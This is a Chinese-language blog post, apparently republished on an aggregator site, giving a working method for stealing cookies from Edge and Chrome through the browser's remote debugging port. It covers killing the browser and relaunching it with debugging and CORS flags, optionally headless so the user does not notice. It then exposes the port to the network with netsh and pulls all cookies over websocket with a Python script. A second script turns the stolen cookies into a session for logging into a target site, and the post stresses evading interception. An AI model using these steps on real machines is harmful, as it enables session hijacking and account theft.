利用远程调试获取Chromium内核浏览器Cookie

这篇具有很好参考价值的文章主要介绍了利用远程调试获取Chromium内核浏览器Cookie。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

前言

本文将介绍不依靠DPAPI的方式获取Chromium内核浏览器Cookie

远程调试

首先我们以edge为例。edge浏览器是基于Chromium的,而Chromium是可以开启远程调试的,开启远程调试的官方文档如下:

https://blog.chromium.org/2011/05/remote-debugging-with-chrome-developer.html

chrome.exe --remote-debugging-port=9222 --user-data-dir=remote-profile

那么开启远程调试以后可以做什么呢,继续看官方文档:

https://chromedevtools.github.io/devtools-protocol/tot/Storage/

上述官方文档是Chrome开发者工具协议文档,里面提到如果需要实施调试、分析Chrome需要开启其远程调试:

并且告知开启后还提供了json等接口和各种API的使用:

既然edge是基于Chromium的,那么edge应该也是可以开启远程调试的。尝试使用Chrome开启远程调试的命令开启edge的远程调试:

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9222

经测试是可以的,但是前提是必须没有msedge进程在启动着,否则上述命令虽然会启动edge进程,但是并不会开启远程调试端口。停止命令:

Get-Process msedge | Stop-Process

获取Cookie

首先看Chrome开发者工具协议能否获取浏览器密码啥的,文档没有:

【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注 “博客园” 获取!】

 ① 网安学习成长路径思维导图
 ② 60+网安经典常用工具包
 ③ 100+SRC漏洞分析报告
 ④ 150+网安攻防实战技术电子书
 ⑤ 最权威CISSP 认证考试指南+题库
 ⑥ 超1800页CTF实战技巧手册
 ⑦ 最新网安大厂面试题合集(含答案)
 ⑧ APP客户端安全检测指南(安卓+IOS)

也是,大家平常F12调出开发者工具,也是没有获取浏览器密码方式的。

继续搜下Cookie,可以看到有个Network.getAllCookies,但是文档中提到已经弃用了,改用了Storage.getCookies:

那尝试使用Storage.getCookies是否可以获取Cookie呢。开启远程调试后,获取websocket地址:

然后尝试使用python的websocket-client模块发送接收数据时,发现提示403:

根据提示看起来是CORS的问题,且给出了解决方案:

--remote-allow-origins=*

添加以后发送如下数据包就可以成功获取Cookie:

{"id": 1, "method": "Storage.getCookies"}

为了方便远程访问其websocket接口,可以把远程调试端口映射出来:

netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=48333 connectaddress=127.0.0.1 connectport=9222

这样就可以远程访问目标的远程调试端口:

编写代码

Github有个自动开启远程调试端口和获取Cookie的仓库:

https://github.com/defaultnamehere/cookie_crimes/blob/master/cookie_crimes.py

其中代码有几个问题,其一没解决CORS的问题,其二使用了可能弃用的Network.getAllCookies,其三开启远程调试端口可以不用依赖python,可以使用cmd命令,最终修改的代码如下:

import json
import requests
import websocket
​
GET_ALL_COOKIES_REQUEST = json.dumps({"id": 1, "method": "Storage.getCookies"})
​
​
def hit_that_secret_json_path_like_its_1997():
    response = requests.get("http://10.211.55.8:48333/json")
    websocket_url = response.json()[0].get("webSocketDebuggerUrl")
    return websocket_url
​
def gimme_those_cookies(ws_url):
    ws = websocket.create_connection(ws_url)
    ws.send(GET_ALL_COOKIES_REQUEST)
    result = ws.recv()
    ws.close()
    response = json.loads(result)
    cookies = response["result"]["cookies"]
    return cookies
​
ws_url = hit_that_secret_json_path_like_its_1997()
print(ws_url)
cookies = gimme_those_cookies(ws_url)
print(cookies)

这样就可以达到在目标机器上开启远程调试端口并获取Cookie。为了防止开启的浏览器被用户发现,可以使用无头参数-headless,但是存在一个缺点,后面再讲。且为了防止/json接口返回空的情况,建议让浏览器启动时打开一个网站,因此最终完整命令如下:

# 关闭edge
Get-Process msedge | Stop-Process
​
# 启动远程调试
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" https://www.baidu.com --remote-debugging-port=9222  --remote-allow-origins=* -headless
​
# 把远程调试端口映射出来
netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=48333 connectaddress=127.0.0.1 connectport=9222
​
# 访问json接口获取websocket地址并获取Cookie
​
# 关闭端口映射
netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=48333

实操

使用上述命令启动edge:

获取Cookie,发现只能获取到www.baidu.com的Cookie:

这就是上面提到的,使用无头参数-headless存在的一个缺点,只能获取到打开的网站的Cookie。因此如果想要获取指定目标网站的Cookie,要么重复上面的动作,要么取消无头参数-headless。笔者建议取消-headless参数,打开的浏览器用户也能正常使用,因此建议使用的命令如下:

# 关闭edge
Get-Process msedge | Stop-Process
​
# 启动远程调试
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" https://www.baidu.com --remote-debugging-port=9222  --remote-allow-origins=*
​
# 把远程调试端口映射出来
netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=48333 connectaddress=127.0.0.1 connectport=9222
​
# 访问json接口获取websocket地址并获取Cookie
​
# 关闭端口映射
netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=48333

获取到上述数据以后,如何使用呢,笔者提供如下代码,来完成满足Cookie格式要求的拼接:

def to_cookie_dict(data):
    if 'www.chinabaiker.com' in data['domain']:
        cookie_dict = {data['name']: data['value'], 'Domain': data['domain'], 'Path': data['path'], 'Expires': data['expires']}
        print(cookie_dict)
        return cookie_dict
​
data_list = [{}]
​
cookie_dict_list = [to_cookie_dict(data) for data in data_list]
​
# 遍历多个cookie字典,将每个字典中的key和value格式化为key=value的字符串
cookie_str_list = []
for cookie_dict in cookie_dict_list:
    try:
        for k, v in cookie_dict.items():
            cookie_str_list.append('{}={}'.format(k, v))
    except Exception as e:
        print(e)
        pass
​
# 使用;将多个key=value字符串连接在一起
cookie_str = ';'.join(cookie_str_list)
print(cookie_str)

因为获取到的Cookie比较多,在代码最开始做了个简单的过滤:

if 'www.chinabaiker.com' in data['domain']:

最终实现的效果如下:首先网站是非登录状态:

执行上述代码,获取Cookie:

然后放到burpsuite自动替换,笔者的替换规则如下:

最终成功完成Cookie的替换登录目标系统:

Chrome浏览器同理,就不花篇幅讲了:

"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" https://www.baidu.com --remote-debugging-port=9222  --remote-allow-origins=*

总结

本文介绍了不依靠DPAPI的方式获取Chromium内核浏览器Cookie,可以尽可能的减少被拦截的情况下去获取浏览器Cookie。

更多网安技能的在线实操练习,请点击这里>>

 文章来源地址https://www.toymoban.com/news/detail-553780.html

到了这里,关于利用远程调试获取Chromium内核浏览器Cookie的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 【开源项目】STF,从浏览器远程调试和控制安卓设备

    STF是一个非常有用的工具,可以帮助开发者和测试者在不同的设备上进行应用程序的调试和测试。它也可以用于教育和娱乐的目的,比如远程控制别人的手机或者玩游戏。 它的主要功能有:   查看和控制设备的屏幕、键盘、鼠标、触摸、音量等;   安装和卸载应用程序;

    2024年02月01日
    浏览(59)
  • Selenium调用使用360浏览器,QQ浏览器,遨游浏览器,猎豹浏览器,Chromium

    国产的360安全浏览器,360急速浏览器,QQ浏览器,遨游浏览器甚至新版还未上市的Edge浏览器都是基于Chrome浏览器的开源版本Chronium开发来的。所以360浏览器可以理解为一个定制的Chrome浏览器,最新360安全浏览器是基于Chromium 63版本的,落后正式的Chrome版本。 我们下载对应的2

    2024年02月06日
    浏览(63)
  • 爬虫之Cookie获取:利用浏览器模拟一个cookie出来、面对反爬虫、加密的cookie的应对方法

    在爬虫或模拟请求时,特别是获取验证码的时候,反爬虫的网站的cookie或定期失效,复制出来使用是不行的 为了应对这种方式,我们可能就需要像浏览器打开网站一样,取得它信任的cookie selenium就是一个很好的手段 一、什么是selenium Selenium最初是一个自动化测试工具,Selen

    2024年01月16日
    浏览(45)
  • Burp Suite 自带浏览器Burp‘s Browser(Chromium)沙盒sandbox问题的解决

    Burp Suite启动自带浏览器Burp’s Browser(Chromium)的时候,弹出does not support running without sandbox出错框。 解决方法,操作如下: Project options --Misc– Burp’s Browser -- Allow Burp’s browser to run without sandbox,勾选这个选项。

    2024年02月13日
    浏览(42)
  • 【electron】Puppeteer 和 Electron 共用同一个Chrome 或 Chromium浏览器二进制文件

    将 Puppeteer 的可执行路径设置为 Electron 的可执行路径来实现这一点 以下是一个示例代码,展示了如何在 Puppeteer 中使用 Electron 的浏览器二进制文件: 在上述代码中,你需要将 executablePath 变量设置为 Electron 的可执行路径。然后,在启动 Puppeteer 时,将 executablePath 设置为 laun

    2024年02月10日
    浏览(51)
  • 谈论浏览器内核

    浏览器内核是指浏览器使用的渲染引擎,用于解析并显示网页的内容。主要有以下几种浏览器内核: Trident(IE内核):由Microsoft开发,被用于Internet Explorer浏览器。目前已经被Edge取代。 Gecko:由Mozilla开发,被用于Firefox浏览器。 WebKit:由苹果公司开发,被用于Safari浏览器和

    2024年02月09日
    浏览(33)
  • webkit浏览器内核编译

    WebKit 是一个开源的浏览器引擎,与之相对应的引擎有Gecko(Mozilla Firefox 等使用),Trident(也称MSHTML,IE 使用)和EdgeHTML(也称Chakra,Edge和其他UWP浏览器使用)。 同时WebKit 也是苹果Mac OS X 系统引擎框架版本的名称,主要用于Safari,Dashboard,Mail 和其他一些Mac OS X 程序。WebKit

    2024年04月23日
    浏览(40)
  • 如何修改设置浏览器内核模式

    强制锁定极速模式 手动切换(用户)meta指定(开发者)浏览器兼容列表(浏览器) 需要用360安全浏览器14,chromium108内核,下载地址https://bbs.360.cn/thread-16068958-1-1.html 2023年2月14日,微软公司已停用IE浏览器,IE浏览器打不开了,建议网站尽快升级,支持极速模式, 微软计划于

    2024年02月09日
    浏览(48)
  • Android升级WebView浏览器内核版本

    使用 AOSP 项目编译的 Android 系统,会发现在部分 APP 使用系统自带的浏览器内核来加载网页时会出现报错,加载不出网页的情况,其实这是由于 WebView 自带的 浏览器内核版本太旧 所导致的,只要更新成比较新的浏览器内核版本就行了。 一、环境准备 (1) Android系统源码编译

    2024年02月04日
    浏览(95)
  • 主流浏览器有哪些?他们的内核是什么?

    浏览器 内核 公司 Navigator Gecko Netscape网景公司 Opera Presto、Blink Opera Software ASA IE Trident 微软 Edge Chromium 微软 Firefox Gecko Mozilla组织 Safari Webkit 苹果 Chrome Webkit、Chromium 、Blink Google 浏览器是一个多进程、多线程的应用程序。在一个浏览器中打开多个标签页,如果一个标签页内的内

    2024年02月09日
    浏览(42)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包